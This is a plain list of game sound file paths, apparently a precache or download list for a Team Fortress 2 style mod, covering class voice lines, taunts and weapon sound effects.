+vo/soldier_HatOverHeartTaunt06.wav +vo/soldier_headleft01.wav +vo/soldier_headleft02.wav +vo/soldier_headleft03.wav +vo/soldier_headright01.wav +vo/soldier_headright02.wav +vo/soldier_headright03.wav +vo/soldier_helpme01.wav +vo/soldier_helpme02.wav +vo/soldier_helpme03.wav +vo/soldier_helpmecapture01.wav +vo/soldier_helpmecapture02.wav +vo/soldier_helpmecapture03.wav +vo/soldier_helpmedefend01.wav +vo/soldier_helpmedefend02.wav +vo/soldier_helpmedefend03.wav +vo/soldier_helpmedefend04.wav +vo/soldier_incoming01.wav +vo/soldier_jeers01.wav +vo/soldier_jeers02.wav +vo/soldier_jeers03.wav +vo/soldier_jeers04.wav +vo/soldier_jeers05.wav +vo/soldier_jeers06.wav +vo/soldier_jeers07.wav +vo/soldier_jeers08.wav +vo/soldier_jeers09.wav +vo/soldier_jeers10.wav +vo/soldier_jeers11.wav +vo/soldier_jeers12.wav +vo/soldier_KaBoomAlts01.wav +vo/soldier_KaBoomAlts02.wav +vo/soldier_KaBoomAlts03.wav +vo/soldier_laughevil01.wav +vo/soldier_laughevil02.wav +vo/soldier_laughevil03.wav +vo/soldier_laughhappy01.wav +vo/soldier_laughhappy02.wav +vo/soldier_laughhappy03.wav +vo/soldier_laughlong01.wav +vo/soldier_laughlong02.wav +vo/soldier_laughlong03.wav +vo/soldier_laughshort01.wav +vo/soldier_laughshort02.wav +vo/soldier_laughshort03.wav +vo/soldier_laughshort04.wav +vo/soldier_medic01.wav +vo/soldier_medic02.wav +vo/soldier_medic03.wav +vo/soldier_moveup01.wav +vo/soldier_moveup02.wav +vo/soldier_moveup03.wav +vo/soldier_needdispenser01.wav +vo/soldier_needsentry01.wav +vo/soldier_needteleporter01.wav +vo/soldier_negativevocalization01.wav +vo/soldier_negativevocalization02.wav +vo/soldier_negativevocalization03.wav +vo/soldier_negativevocalization04.wav +vo/soldier_negativevocalization05.wav +vo/soldier_negativevocalization06.wav +vo/soldier_niceshot01.wav +vo/soldier_niceshot02.wav +vo/soldier_niceshot03.wav +vo/soldier_no01.wav +vo/soldier_no02.wav +vo/soldier_no03.wav +vo/soldier_paincrticialdeath01.wav +vo/soldier_paincrticialdeath02.wav +vo/soldier_paincrticialdeath03.wav +vo/soldier_paincrticialdeath04.wav +vo/soldier_painsevere01.wav +vo/soldier_painsevere02.wav +vo/soldier_painsevere03.wav +vo/soldier_painsevere04.wav +vo/soldier_painsevere05.wav +vo/soldier_painsevere06.wav +vo/soldier_painsharp01.wav +vo/soldier_painsharp02.wav +vo/soldier_painsharp03.wav +vo/soldier_painsharp04.wav +vo/soldier_painsharp05.wav +vo/soldier_painsharp06.wav +vo/soldier_painsharp07.wav +vo/soldier_painsharp08.wav +vo/soldier_PickAxeTaunt01.wav +vo/soldier_PickAxeTaunt02.wav +vo/soldier_PickAxeTaunt03.wav +vo/soldier_PickAxeTaunt04.wav +vo/soldier_PickAxeTaunt05.wav +vo/soldier_positivevocalization01.wav +vo/soldier_positivevocalization02.wav +vo/soldier_positivevocalization03.wav +vo/soldier_positivevocalization04.wav +vo/soldier_positivevocalization05.wav +vo/soldier_sentryahead01.wav +vo/soldier_sentryahead02.wav +vo/soldier_sentryahead03.wav +vo/soldier_specialcompleted-assistedkill01.wav +vo/soldier_specialcompleted01.wav +vo/soldier_specialcompleted02.wav +vo/soldier_specialcompleted03.wav +vo/soldier_specialcompleted04.wav +vo/soldier_specialcompleted05.wav +vo/soldier_standonthepoint01.wav +vo/soldier_standonthepoint02.wav +vo/soldier_standonthepoint03.wav +vo/soldier_thanks01.wav +vo/soldier_thanks02.wav +vo/soldier_thanksfortheheal01.wav +vo/soldier_thanksfortheheal02.wav +vo/soldier_thanksfortheheal03.wav +vo/soldier_thanksfortheteleporter01.wav +vo/soldier_thanksfortheteleporter02.wav +vo/soldier_thanksfortheteleporter03.wav +vo/soldier_yes01.wav +vo/soldier_yes02.wav +vo/soldier_yes03.wav +vo/soldier_yes04.wav +vo/spy_activatecharge01.wav +vo/spy_activatecharge02.wav +vo/spy_activatecharge03.wav +vo/spy_autocappedcontrolpoint01.wav +vo/spy_autocappedcontrolpoint02.wav +vo/spy_autocappedcontrolpoint03.wav +vo/spy_autocappedintelligence01.wav +vo/spy_autocappedintelligence02.wav +vo/spy_autocappedintelligence03.wav +vo/spy_autodejectedtie01.wav +vo/spy_autodejectedtie02.wav +vo/spy_autodejectedtie03.wav +vo/spy_autoonfire01.wav +vo/spy_autoonfire02.wav +vo/spy_autoonfire03.wav +vo/spy_battlecry01.wav +vo/spy_battlecry02.wav +vo/spy_battlecry03.wav +vo/spy_battlecry04.wav +vo/spy_cheers01.wav +vo/spy_cheers02.wav +vo/spy_cheers03.wav +vo/spy_cheers04.wav +vo/spy_cheers05.wav +vo/spy_cheers06.wav +vo/spy_cheers07.wav +vo/spy_cheers08.wav +vo/spy_cloakedspy01.wav +vo/spy_cloakedspy02.wav +vo/spy_cloakedspy03.wav +vo/spy_cloakedspy04.wav +vo/spy_cloakedspyidentify01.wav +vo/spy_cloakedspyidentify02.wav +vo/spy_cloakedspyidentify03.wav +vo/spy_cloakedspyidentify04.wav +vo/spy_cloakedspyidentify05.wav +vo/spy_cloakedspyidentify06.wav +vo/spy_cloakedspyidentify07.wav +vo/spy_cloakedspyidentify08.wav +vo/spy_cloakedspyidentify09.wav +vo/spy_cloakedspyidentify10.wav +vo/spy_DominationDemoMan01.wav +vo/spy_DominationDemoMan02.wav +vo/spy_DominationDemoMan03.wav +vo/spy_DominationDemoMan04.wav +vo/spy_DominationDemoMan05.wav +vo/spy_DominationDemoMan06.wav +vo/spy_DominationDemoMan07.wav +vo/spy_DominationEngineer01.wav +vo/spy_DominationEngineer02.wav +vo/spy_DominationEngineer03.wav +vo/spy_DominationEngineer04.wav +vo/spy_DominationEngineer05.wav +vo/spy_DominationEngineer06.wav +vo/spy_DominationHeavy01.wav +vo/spy_DominationHeavy02.wav +vo/spy_DominationHeavy03.wav +vo/spy_DominationHeavy04.wav +vo/spy_DominationHeavy05.wav +vo/spy_DominationHeavy06.wav +vo/spy_DominationHeavy07.wav +vo/spy_DominationHeavy08.wav +vo/spy_DominationMedic01.wav +vo/spy_DominationMedic02.wav +vo/spy_DominationMedic03.wav +vo/spy_DominationMedic04.wav +vo/spy_DominationMedic05.wav +vo/spy_DominationMedic06.wav +vo/spy_DominationPyro01.wav +vo/spy_DominationPyro02.wav +vo/spy_DominationPyro03.wav +vo/spy_DominationPyro04.wav +vo/spy_DominationPyro05.wav +vo/spy_DominationScout01.wav +vo/spy_DominationScout02.wav +vo/spy_DominationScout03.wav +vo/spy_DominationScout04.wav +vo/spy_DominationScout05.wav +vo/spy_DominationScout06.wav +vo/spy_DominationScout07.wav +vo/spy_DominationScout08.wav +vo/spy_DominationSniper01.wav +vo/spy_DominationSniper02.wav +vo/spy_DominationSniper03.wav +vo/spy_DominationSniper04.wav +vo/spy_DominationSniper05.wav +vo/spy_DominationSniper06.wav +vo/spy_DominationSniper07.wav +vo/spy_DominationSoldier01.wav +vo/spy_DominationSoldier02.wav +vo/spy_DominationSoldier03.wav +vo/spy_DominationSoldier04.wav +vo/spy_DominationSoldier05.wav +vo/spy_DominationSpy01.wav +vo/spy_DominationSpy02.wav +vo/spy_DominationSpy03.wav +vo/spy_DominationSpy04.wav +vo/spy_DominationSpy05.wav +vo/spy_go01.wav +vo/spy_go02.wav +vo/spy_go03.wav +vo/spy_goodjob01.wav +vo/spy_goodjob02.wav +vo/spy_goodjob03.wav +vo/spy_headleft01.wav +vo/spy_headleft02.wav +vo/spy_headleft03.wav +vo/spy_headright01.wav +vo/spy_headright02.wav +vo/spy_headright03.wav +vo/spy_helpme01.wav +vo/spy_helpme02.wav +vo/spy_helpme03.wav +vo/spy_helpmecapture01.wav +vo/spy_helpmecapture02.wav +vo/spy_helpmecapture03.wav +vo/spy_helpmedefend01.wav +vo/spy_helpmedefend02.wav +vo/spy_helpmedefend03.wav +vo/spy_incoming01.wav +vo/spy_incoming02.wav +vo/spy_incoming03.wav +vo/spy_JarateHit01.wav +vo/spy_JarateHit02.wav +vo/spy_JarateHit03.wav +vo/spy_JarateHit04.wav +vo/spy_JarateHit05.wav +vo/spy_JarateHit06.wav +vo/spy_jeers01.wav +vo/spy_jeers02.wav +vo/spy_jeers03.wav +vo/spy_jeers04.wav +vo/spy_jeers05.wav +vo/spy_jeers06.wav +vo/spy_laughevil01.wav +vo/spy_laughevil02.wav +vo/spy_laughhappy01.wav +vo/spy_laughhappy02.wav +vo/spy_laughhappy03.wav +vo/spy_laughlong01.wav +vo/spy_laughshort01.wav +vo/spy_laughshort02.wav +vo/spy_laughshort03.wav +vo/spy_laughshort04.wav +vo/spy_laughshort05.wav +vo/spy_laughshort06.wav +vo/spy_medic01.wav +vo/spy_medic02.wav +vo/spy_medic03.wav +vo/spy_MedicFollow01.wav +vo/spy_MedicFollow02.wav +vo/spy_MeleeDare01.wav +vo/spy_MeleeDare02.wav +vo/spy_moveup01.wav +vo/spy_moveup02.wav +vo/spy_needdispenser01.wav +vo/spy_needsentry01.wav +vo/spy_needteleporter01.wav +vo/spy_negativevocalization01.wav +vo/spy_negativevocalization02.wav +vo/spy_negativevocalization03.wav +vo/spy_negativevocalization04.wav +vo/spy_negativevocalization05.wav +vo/spy_negativevocalization06.wav +vo/spy_negativevocalization07.wav +vo/spy_negativevocalization08.wav +vo/spy_negativevocalization09.wav +vo/spy_niceshot01.wav +vo/spy_niceshot02.wav +vo/spy_niceshot03.wav +vo/spy_no01.wav +vo/spy_no02.wav +vo/spy_no03.wav +vo/spy_paincrticialdeath01.wav +vo/spy_paincrticialdeath02.wav +vo/spy_paincrticialdeath03.wav +vo/spy_painsevere01.wav +vo/spy_painsevere02.wav +vo/spy_painsevere03.wav +vo/spy_painsevere04.wav +vo/spy_painsevere05.wav +vo/spy_painsharp01.wav +vo/spy_painsharp02.wav +vo/spy_painsharp03.wav +vo/spy_painsharp04.wav +vo/spy_positivevocalization01.wav +vo/spy_positivevocalization02.wav +vo/spy_positivevocalization03.wav +vo/spy_positivevocalization04.wav +vo/spy_positivevocalization05.wav +vo/spy_Revenge01.wav +vo/spy_Revenge02.wav +vo/spy_Revenge03.wav +vo/spy_sentryahead01.wav +vo/spy_sentryahead02.wav +vo/spy_specialcompleted-assistedkill01.wav +vo/spy_specialcompleted-assistedkill02.wav +vo/spy_specialcompleted01.wav +vo/spy_specialcompleted02.wav +vo/spy_specialcompleted03.wav +vo/spy_specialcompleted04.wav +vo/spy_specialcompleted05.wav +vo/spy_specialcompleted06.wav +vo/spy_specialcompleted07.wav +vo/spy_specialcompleted08.wav +vo/spy_specialcompleted09.wav +vo/spy_specialcompleted10.wav +vo/spy_specialcompleted11.wav +vo/spy_specialcompleted12.wav +vo/spy_standonthepoint01.wav +vo/spy_standonthepoint02.wav +vo/spy_standonthepoint03.wav +vo/spy_standonthepoint04.wav +vo/spy_thanks01.wav +vo/spy_thanks02.wav +vo/spy_thanks03.wav +vo/spy_thanksfortheheal01.wav +vo/spy_thanksfortheheal02.wav +vo/spy_thanksfortheheal03.wav +vo/spy_thanksfortheteleporter01.wav +vo/spy_thanksfortheteleporter02.wav +vo/spy_thanksfortheteleporter03.wav +vo/spy_yes01.wav +vo/spy_yes02.wav +vo/spy_yes03.wav +vo/sword_hit01.wav +vo/sword_hit02.wav +vo/sword_hit03.wav +vo/sword_hit04.wav +vo/sword_hit05.wav +vo/sword_hit06.wav +vo/sword_hit07.wav +vo/sword_hit08.wav +vo/sword_hit09.wav +vo/sword_hit10.wav +vo/sword_idle01.wav +vo/sword_idle02.wav +vo/sword_idle03.wav +vo/sword_idle04.wav +vo/sword_idle05.wav +vo/sword_idle06.wav +vo/sword_idle07.wav +vo/sword_idle08.wav +vo/sword_idle09.wav +vo/sword_idle10.wav +vo/sword_idle11.wav +vo/sword_idle12.wav +vo/sword_idle13.wav +vo/sword_idle14.wav +vo/sword_idle15.wav +vo/test_one.wav +vo/test_two.wav +vo/taunts/demoman_taunts01.wav +vo/taunts/demoman_taunts02.wav +vo/taunts/demoman_taunts03.wav +vo/taunts/demoman_taunts04.wav +vo/taunts/demoman_taunts05.wav +vo/taunts/demoman_taunts06.wav +vo/taunts/demoman_taunts07.wav +vo/taunts/demoman_taunts08.wav +vo/taunts/demoman_taunts09.wav +vo/taunts/demoman_taunts10.wav +vo/taunts/demoman_taunts11.wav +vo/taunts/demoman_taunts12.wav +vo/taunts/demoman_taunts13.wav +vo/taunts/demoman_taunts14.wav +vo/taunts/demoman_taunts15.wav +vo/taunts/demoman_taunts16.wav +vo/taunts/engineer_taunts01.wav +vo/taunts/engineer_taunts02.wav +vo/taunts/engineer_taunts03.wav +vo/taunts/engineer_taunts04.wav +vo/taunts/engineer_taunts05.wav +vo/taunts/engineer_taunts06.wav +vo/taunts/engineer_taunts08.wav +vo/taunts/engineer_taunts09.wav +vo/taunts/engineer_taunts10.wav +vo/taunts/engineer_taunts11.wav +vo/taunts/engineer_taunts12.wav +vo/taunts/heavy_taunts01.wav +vo/taunts/heavy_taunts02.wav +vo/taunts/heavy_taunts03.wav +vo/taunts/heavy_taunts04.wav +vo/taunts/heavy_taunts05.wav +vo/taunts/heavy_taunts06.wav +vo/taunts/heavy_taunts07.wav +vo/taunts/heavy_taunts08.wav +vo/taunts/heavy_taunts09.wav +vo/taunts/heavy_taunts10.wav +vo/taunts/heavy_taunts11.wav +vo/taunts/heavy_taunts12.wav +vo/taunts/heavy_taunts13.wav +vo/taunts/heavy_taunts14.wav +vo/taunts/heavy_taunts15.wav +vo/taunts/heavy_taunts16.wav +vo/taunts/heavy_taunts17.wav +vo/taunts/heavy_taunts18.wav +vo/taunts/heavy_taunts19.wav +vo/taunts/medic_taunts01.wav +vo/taunts/medic_taunts02.wav +vo/taunts/medic_taunts03.wav +vo/taunts/medic_taunts04.wav +vo/taunts/medic_taunts05.wav +vo/taunts/medic_taunts06.wav +vo/taunts/medic_taunts07.wav +vo/taunts/medic_taunts08.wav +vo/taunts/medic_taunts09.wav +vo/taunts/medic_taunts10.wav +vo/taunts/medic_taunts11.wav +vo/taunts/medic_taunts12.wav +vo/taunts/medic_taunts13.wav +vo/taunts/medic_taunts14.wav +vo/taunts/medic_taunts15.wav +vo/taunts/medic_taunts16.wav +vo/taunts/pyro_taunts01.wav +vo/taunts/pyro_taunts02.wav +vo/taunts/pyro_taunts03.wav +vo/taunts/pyro_taunts04.wav +vo/taunts/scout_taunts01.wav +vo/taunts/scout_taunts02.wav +vo/taunts/scout_taunts03.wav +vo/taunts/scout_taunts04.wav +vo/taunts/scout_taunts05.wav +vo/taunts/scout_taunts06.wav +vo/taunts/scout_taunts07.wav +vo/taunts/scout_taunts08.wav +vo/taunts/scout_taunts09.wav +vo/taunts/scout_taunts10.wav +vo/taunts/scout_taunts11.wav +vo/taunts/scout_taunts12.wav +vo/taunts/scout_taunts13.wav +vo/taunts/scout_taunts14.wav +vo/taunts/scout_taunts15.wav +vo/taunts/scout_taunts16.wav +vo/taunts/scout_taunts17.wav +vo/taunts/scout_taunts18.wav +vo/taunts/sniper_taunts01.wav +vo/taunts/sniper_taunts02.wav +vo/taunts/sniper_taunts03.wav +vo/taunts/sniper_taunts04.wav +vo/taunts/sniper_taunts05.wav +vo/taunts/sniper_taunts06.wav +vo/taunts/sniper_taunts07.wav +vo/taunts/sniper_taunts08.wav +vo/taunts/sniper_taunts09.wav +vo/taunts/sniper_taunts10.wav +vo/taunts/sniper_taunts11.wav +vo/taunts/sniper_taunts12.wav +vo/taunts/sniper_taunts13.wav +vo/taunts/sniper_taunts14.wav +vo/taunts/sniper_taunts15.wav +vo/taunts/sniper_taunts16.wav +vo/taunts/sniper_taunts17.wav +vo/taunts/sniper_taunts18.wav +vo/taunts/sniper_taunts19.wav +vo/taunts/sniper_taunts20.wav +vo/taunts/sniper_taunts21.wav +vo/taunts/sniper_taunts22.wav +vo/taunts/sniper_taunts23.wav +vo/taunts/sniper_taunts24.wav +vo/taunts/sniper_taunts25.wav +vo/taunts/sniper_taunts26.wav +vo/taunts/sniper_taunts27.wav +vo/taunts/sniper_taunts28.wav +vo/taunts/sniper_taunts29.wav +vo/taunts/sniper_taunts30.wav +vo/taunts/sniper_taunts31.wav +vo/taunts/sniper_taunts32.wav +vo/taunts/sniper_taunts33.wav +vo/taunts/sniper_taunts34.wav +vo/taunts/sniper_taunts35.wav +vo/taunts/sniper_taunts36.wav +vo/taunts/sniper_taunts37.wav +vo/taunts/sniper_taunts38.wav +vo/taunts/sniper_taunts39.wav +vo/taunts/sniper_taunts40.wav +vo/taunts/sniper_taunts41.wav +vo/taunts/sniper_taunts42.wav +vo/taunts/sniper_taunts43.wav +vo/taunts/sniper_taunts44.wav +vo/taunts/sniper_taunts45.wav +vo/taunts/sniper_taunts46.wav +vo/taunts/soldier_taunts01.wav +vo/taunts/soldier_taunts02.wav +vo/taunts/soldier_taunts03.wav +vo/taunts/soldier_taunts04.wav +vo/taunts/soldier_taunts05.wav +vo/taunts/soldier_taunts06.wav +vo/taunts/soldier_taunts07.wav +vo/taunts/soldier_taunts08.wav +vo/taunts/soldier_taunts09.wav +vo/taunts/soldier_taunts10.wav +vo/taunts/soldier_taunts11.wav +vo/taunts/soldier_taunts12.wav +vo/taunts/soldier_taunts13.wav +vo/taunts/soldier_taunts14.wav +vo/taunts/soldier_taunts15.wav +vo/taunts/soldier_taunts16.wav +vo/taunts/soldier_taunts17.wav +vo/taunts/soldier_taunts18.wav +vo/taunts/soldier_taunts19.wav +vo/taunts/soldier_taunts20.wav +vo/taunts/soldier_taunts21.wav +vo/taunts/spy_taunts01.wav +vo/taunts/spy_taunts02.wav +vo/taunts/spy_taunts03.wav +vo/taunts/spy_taunts04.wav +vo/taunts/spy_taunts05.wav +vo/taunts/spy_taunts06.wav +vo/taunts/spy_taunts07.wav +vo/taunts/spy_taunts08.wav +vo/taunts/spy_taunts09.wav +vo/taunts/spy_taunts10.wav +vo/taunts/spy_taunts11.wav +vo/taunts/spy_taunts12.wav +vo/taunts/spy_taunts13.wav +vo/taunts/spy_taunts14.wav +vo/taunts/spy_taunts15.wav +vo/taunts/spy_taunts16.wav +weapons/ambassador_shoot.wav +weapons/ambassador_shoot_crit.wav +weapons/axe_hit_flesh1.wav +weapons/axe_hit_flesh2.wav +weapons/axe_hit_flesh3.wav +weapons/baseball_hitworld1.wav +weapons/baseball_hitworld2.wav +weapons/baseball_hitworld3.wav +weapons/bat_baseball_hit1.wav +weapons/bat_baseball_hit2.wav +weapons/bat_baseball_hit_flesh.wav +weapons/bat_baseball_hit_world1.wav +weapons/bat_baseball_hit_world2.wav +weapons/bat_draw.wav +weapons/bat_draw_swoosh1.wav +weapons/bat_draw_swoosh2.wav +weapons/bat_hit.wav +weapons/blade_hit1.wav +weapons/blade_hit2.wav +weapons/blade_hit3.wav +weapons/blade_hit4.wav +weapons/blade_hitworld.wav +weapons/blade_slice_2.wav +weapons/blade_slice_3.wav +weapons/blade_slice_4.wav +weapons/bottle_break.wav +weapons/bottle_broken_hit_flesh1.wav +weapons/bottle_broken_hit_flesh2.wav +weapons/bottle_broken_hit_flesh3.wav +weapons/bottle_broken_hit_world1.wav +weapons/bottle_broken_hit_world2.wav +weapons/bottle_broken_hit_world3.wav +weapons/bottle_hit1.wav +weapons/bottle_hit2.wav +weapons/bottle_hit3.wav +weapons/bottle_hit_flesh1.wav +weapons/bottle_hit_flesh2.wav +weapons/bottle_hit_flesh3.wav +weapons/bottle_intact_hit_flesh1.wav +weapons/bottle_intact_hit_flesh2.wav +weapons/bottle_intact_hit_flesh3.wav +weapons/bottle_intact_hit_world1.wav +weapons/bottle_intact_hit_world2.wav +weapons/bow_arrow_slide.wav +weapons/bow_shoot.wav +weapons/bow_shoot_crit.wav +weapons/bow_shoot_pull.wav +weapons/bow_shoot_pull_reverse.wav +weapons/bow_shoot_pull_short.wav +weapons/boxing_gloves_crit_enabled.wav +weapons/boxing_gloves_hit.wav +weapons/boxing_gloves_hit1.wav +weapons/boxing_gloves_hit2.wav +weapons/boxing_gloves_hit3.wav +weapons/boxing_gloves_hit4.wav +weapons/boxing_gloves_hit_crit1.wav +weapons/boxing_gloves_hit_crit2.wav +weapons/boxing_gloves_hit_crit3.wav +weapons/boxing_gloves_swing1.wav +weapons/boxing_gloves_swing2.wav +weapons/boxing_gloves_swing4.wav +weapons/boxing_gloves_swing5.wav +weapons/buffed_off.wav +weapons/buffed_on.wav +weapons/buff_banner_flag.wav +weapons/buff_banner_horn_blue.wav +weapons/buff_banner_horn_red.wav +weapons/cbar_hit1.wav +weapons/cbar_hit2.wav +weapons/cbar_hitbod1.wav +weapons/cbar_hitbod2.wav +weapons/cbar_hitbod3.wav +weapons/cbar_miss1.wav +weapons/cbar_miss1_crit.wav +weapons/debris2.wav +weapons/debris4.wav +weapons/default_reload.wav +weapons/demo_charge_hit_flesh1.wav +weapons/demo_charge_hit_flesh2.wav +weapons/demo_charge_hit_flesh3.wav +weapons/demo_charge_hit_flesh_range1.wav +weapons/demo_charge_hit_flesh_range2.wav +weapons/demo_charge_hit_flesh_range3.wav +weapons/demo_charge_hit_world1.wav +weapons/demo_charge_hit_world2.wav +weapons/demo_charge_hit_world3.wav +weapons/demo_charge_windup1.wav +weapons/demo_charge_windup2.wav +weapons/demo_charge_windup3.wav +weapons/demo_sword_hit_world1.wav +weapons/demo_sword_hit_world2.wav +weapons/demo_sword_swing1.wav +weapons/demo_sword_swing2.wav +weapons/demo_sword_swing3.wav +weapons/demo_sword_swing_crit.wav +weapons/det_pack_timer.wav +weapons/dispenser_bullet_chain.wav +weapons/dispenser_bullet_chain2.wav +weapons/dispenser_explode.wav +weapons/dispenser_generate_metal.wav +weapons/dispenser_heal.wav +weapons/dispenser_idle.wav +weapons/draw_bow.wav +weapons/draw_default.wav +weapons/draw_jarate.wav +weapons/draw_machete_sniper.wav +weapons/draw_melee.wav +weapons/draw_minigun_heavy.wav +weapons/draw_pda_antennae.wav +weapons/draw_pda_engineer.wav +weapons/draw_pda_spy.wav +weapons/draw_pistol_engineer.wav +weapons/draw_primary.wav +weapons/draw_sapper_switch.wav +weapons/draw_secondary.wav +weapons/draw_shotgun_pyro.wav +weapons/draw_shovel_soldier.wav +weapons/draw_sword.wav +weapons/draw_toolbox_engineer.wav +weapons/draw_wrench_engineer.wav +weapons/explode1.wav +weapons/explode2.wav +weapons/explode3.wav +weapons/fist_hit_world1.wav +weapons/fist_hit_world2.wav +weapons/fist_swing_crit.wav +weapons/flame_thrower_airblast.wav +weapons/flame_thrower_airblast_rocket_redirect.wav +weapons/flame_thrower_bb_end.wav +weapons/flame_thrower_bb_loop.wav +weapons/flame_thrower_bb_loop_crit.wav +weapons/flame_thrower_bb_start.wav +weapons/flame_thrower_end.wav +weapons/flame_thrower_fire_hit.wav +weapons/flame_thrower_loop.wav +weapons/flame_thrower_loop_crit.wav +weapons/flame_thrower_pilot.wav +weapons/flame_thrower_start.wav +weapons/flaregun_boltback.wav +weapons/flaregun_boltforward.wav +weapons/flaregun_impact_sentry.wav +weapons/flaregun_shoot.wav +weapons/flaregun_shoot_crit.wav +weapons/flaregun_tube_closefinish.wav +weapons/flaregun_tube_closestart.wav +weapons/flaregun_worldreload.wav +weapons/grenade_impact.wav +weapons/grenade_impact2.wav +weapons/grenade_impact3.wav +weapons/grenade_launcher_drum_close.wav +weapons/grenade_launcher_drum_load.wav +weapons/grenade_launcher_drum_open.wav +weapons/grenade_launcher_drum_start.wav +weapons/grenade_launcher_drum_stop.wav +weapons/grenade_launcher_shoot.wav +weapons/grenade_launcher_shoot_crit.wav +weapons/grenade_launcher_worldreload.wav +weapons/grenade_throw.wav +weapons/jar_explode.wav +weapons/jar_single.wav +weapons/knife_open1.wav +weapons/knife_open2.wav +weapons/knife_open3.wav +weapons/knife_open4.wav +weapons/knife_open5.wav +weapons/knife_open6.wav +weapons/knife_open7.wav +weapons/knife_open8.wav +weapons/knife_swing.wav +weapons/knife_swing_crit.wav +weapons/machete_swing.wav +weapons/machete_swing_crit.wav +weapons/medigun_charged.wav +weapons/medigun_heal.wav +weapons/medigun_no_target.wav +weapons/metal_hit_hand1.wav +weapons/metal_hit_hand2.wav +weapons/metal_hit_hand3.wav +weapons/minifun_empty.wav +weapons/minifun_shoot.wav +weapons/minifun_shoot_crit.wav +weapons/minifun_spin.wav +weapons/minifun_wind_down.wav +weapons/minifun_wind_up.wav +weapons/minigun_empty.wav +weapons/minigun_shoot.wav +weapons/minigun_shoot_crit.wav +weapons/minigun_spin.wav +weapons/minigun_wind_down.wav +weapons/minigun_wind_up.wav +weapons/pickaxe_swing1.wav +weapons/pickaxe_swing2.wav +weapons/pickaxe_swing3.wav +weapons/pickaxe_swing_crit.wav +weapons/pipe_bomb1.wav +weapons/pipe_bomb2.wav +weapons/pipe_bomb3.wav +weapons/pistol_clipin.wav +weapons/pistol_reload_scout.wav +weapons/pistol_shoot.wav +weapons/pistol_shoot_crit.wav +weapons/pistol_worldreload.wav +weapons/revolver_reload_cylinder_arm.wav +weapons/revolver_reload_cylinder_close.wav +weapons/revolver_reload_cylinder_open.wav +weapons/revolver_shoot.wav +weapons/revolver_shoot_crit.wav +weapons/revolver_worldreload.wav +weapons/rocket_directhit_explode1.wav +weapons/rocket_directhit_explode2.wav +weapons/rocket_directhit_explode3.wav +weapons/rocket_directhit_shoot.wav +weapons/rocket_directhit_shoot_crit.wav +weapons/rocket_reload.wav +weapons/rocket_shoot.wav +weapons/rocket_shoot_crit.wav +weapons/sapper_plant.wav +weapons/sapper_removed.wav +weapons/sapper_timer.wav +weapons/scatter_gun_double_shells_in.wav +weapons/scatter_gun_double_shells_out.wav +weapons/scatter_gun_double_shoot.wav +weapons/scatter_gun_double_shoot_crit.wav +weapons/scatter_gun_double_tube_close.wav +weapons/scatter_gun_double_tube_open.wav +weapons/scatter_gun_reload.wav +weapons/scatter_gun_shoot.wav +weapons/scatter_gun_shoot_crit.wav +weapons/scatter_gun_worldreload.wav +weapons/scout_dodge.wav +weapons/sentry_damage1.wav +weapons/sentry_damage2.wav +weapons/sentry_damage3.wav +weapons/sentry_damage4.wav +weapons/sentry_empty.wav +weapons/sentry_explode.wav +weapons/sentry_finish.wav +weapons/sentry_move_long1.wav +weapons/sentry_move_long2.wav +weapons/sentry_move_medium1.wav +weapons/sentry_move_medium2.wav +weapons/sentry_move_medium3.wav +weapons/sentry_move_short1.wav +weapons/sentry_move_short2.wav +weapons/sentry_rocket.wav +weapons/sentry_scan.wav +weapons/sentry_scan2.wav +weapons/sentry_scan3.wav +weapons/sentry_shoot.wav +weapons/sentry_shoot2.wav +weapons/sentry_shoot3.wav +weapons/sentry_spot.wav +weapons/sentry_spot_client.wav +weapons/sentry_upgrading1.wav +weapons/sentry_upgrading2.wav +weapons/sentry_upgrading3.wav +weapons/sentry_upgrading4.wav +weapons/sentry_upgrading5.wav +weapons/sentry_upgrading6.wav +weapons/sentry_upgrading7.wav +weapons/sentry_upgrading8.wav +weapons/sentry_upgrading_steam1.wav +weapons/sentry_upgrading_steam2.wav +weapons/sentry_upgrading_steam3.wav +weapons/sentry_upgrading_steam4.wav +weapons/sentry_upgrading_steam5.wav +weapons/sentry_wire_connect.wav +weapons/shotgun_cock_back.wav +weapons/shotgun_cock_forward.wav +weapons/shotgun_empty.wav +weapons/shotgun_reload.wav +weapons/shotgun_shoot.wav +weapons/shotgun_shoot_crit.wav +weapons/shotgun_worldreload.wav +weapons/shovel_swing.wav +weapons/shovel_swing_crit.wav +weapons/smg_clip_in.wav +weapons/smg_clip_out.wav +weapons/smg_shoot.wav +weapons/smg_shoot_crit.wav +weapons/smg_worldreload.wav +weapons/sniper_bolt_back.wav +weapons/sniper_bolt_forward.wav +weapons/sniper_shoot.wav +weapons/sniper_shoot_crit.wav +weapons/sniper_worldreload.wav +weapons/stickybomblauncher_boltback.wav +weapons/stickybomblauncher_boltforward.wav +weapons/stickybomblauncher_charge_up.wav +weapons/stickybomblauncher_det.wav +weapons/stickybomblauncher_shoot.wav +weapons/stickybomblauncher_shoot_crit.wav +weapons/stickybomblauncher_worldreload.wav +weapons/syringegun_reload_air1.wav +weapons/syringegun_reload_air2.wav +weapons/syringegun_reload_glass2.wav +weapons/syringegun_shoot.wav +weapons/syringegun_shoot_crit.wav +weapons/syringegun_worldreload.wav +weapons/teleporter_build_open.wav +weapons/teleporter_build_open2.wav +weapons/teleporter_explode.wav +weapons/teleporter_ready.wav +weapons/teleporter_receive.wav +weapons/teleporter_send.wav +weapons/teleporter_spin.wav +weapons/teleporter_spin2.wav +weapons/teleporter_spin3.wav +weapons/ubersaw_hit1.wav +weapons/ubersaw_hit2.wav +weapons/ubersaw_hit3.wav +weapons/ubersaw_hit4.wav +weapons/weapon_crit_charged_off.wav +weapons/weapon_crit_charged_on.wav +weapons/wrench_hit_build_fail.wav +weapons/wrench_hit_build_success1.wav +weapons/wrench_hit_build_success2.wav +weapons/wrench_hit_world.wav +weapons/wrench_swing.wav +weapons/wrench_swing_crit.wav +weapons/fx/nearmiss/arrow_nearmiss.wav +weapons/fx/nearmiss/arrow_nearmiss2.wav +weapons/fx/nearmiss/arrow_nearmiss3.wav +weapons/fx/nearmiss/arrow_nearmiss4.wav +weapons/fx/nearmiss/bulletLtoR08.wav +weapons/fx/nearmiss/bulletLtoR09.wav +weapons/fx/nearmiss/bulletLtoR10.wav +weapons/fx/nearmiss/bulletLtoR11.wav +weapons/fx/nearmiss/bulletLtoR13.wav +weapons/fx/nearmiss/bulletLtoR14.wav +weapons/fx/rics/arrow_impact_concrete.wav +weapons/fx/rics/arrow_impact_concrete2.wav +weapons/fx/rics/arrow_impact_concrete4.wav 